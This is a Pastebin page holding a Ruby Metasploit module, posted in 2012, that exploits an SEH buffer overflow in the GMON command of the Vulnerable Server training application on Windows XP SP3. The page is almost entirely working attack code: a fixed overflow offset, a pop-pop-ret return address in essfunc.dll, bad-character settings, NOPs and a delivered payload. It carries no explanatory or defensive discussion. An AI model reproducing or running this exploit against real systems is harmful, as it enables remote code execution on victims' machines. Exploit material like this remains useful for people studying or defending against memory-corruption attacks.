Advertisement
MrAaMa

Vulnerable Server SEH Exploit

Sep 24th, 2012
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.16 KB | None | 0 0
  1. ## Metasploit To Max
  2. #   http://metasploit.com/framework/
  3. ##
  4.  
  5. require 'msf/core'
  6.  
  7. class Metasploit3 < Msf::Exploit::Remote
  8.     Rank = NormalRanking
  9.  
  10.     include Msf::Exploit::Remote::Tcp
  11.     include Msf::Exploit::Seh
  12.  
  13.     def initialize(info = {})
  14.         super(update_info(info,
  15.             'Name'        => 'Vulnerable Server SEH Exploit',
  16.             'Description'    => %q{
  17.                     Vulnerable Server SEH Exploit
  18.             },
  19.             'License'        => MSF_LICENSE,
  20.             'Author'        =>
  21.                 [
  22.                     'Ninja-Security Team <admin[at]ninja-sec.org>',
  23.                     ' Anti-Trust',    # MSF Module
  24.                 ],
  25.             'References'    =>
  26.                 [
  27.                     [ 'OSVDB', '' ],
  28.                     [ 'CVE', '' ],
  29.                     [ 'URL', 'http://ninja-sec.org' ]
  30.                 ],
  31.             'DefaultOptions' =>
  32.                 {
  33.                     'ExitFunction' => 'process', #none/process/thread/seh
  34.                     #'InitialAutoRunScript' => 'migrate -f',
  35.                 },
  36.             'Platform'    => 'win',
  37.             'Payload'    =>
  38.                 {
  39.                     'BadChars' => "\x00\x0a\x0d",
  40.                     'DisableNops' => true,
  41.                 },
  42.  
  43.             'Targets'        =>
  44.                 [
  45.                     [ 'WINDOWS XP SP3',
  46.                         {
  47.                             'Ret'       =>    0x625011b3, # pop eax # pop eax # ret  - essfunc.dll
  48.                             'Offset'    =>    3498
  49.                         }
  50.                     ],
  51.                 ],
  52.             'Privileged'    => false,
  53.             'DisclosureDate'    => 'Sep 24 2012',
  54.             'DefaultTarget'    => 0))
  55.  
  56.         register_options([Opt::RPORT(9999)], self.class)
  57.  
  58.     end
  59.  
  60.     def exploit
  61.  
  62.  
  63.         connect
  64.  
  65.         buffer = rand_text(target['Offset'])
  66.         buffer << generate_seh_record(target.ret)
  67.         buffer << make_nops(30)
  68.         buffer << payload.encoded    
  69.  
  70.         print_status("Trying target #{target.name}...")
  71.         sock.put('GMON /'+ buffer)
  72.  
  73.         handler
  74.         disconnect
  75.  
  76.     end
  77. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement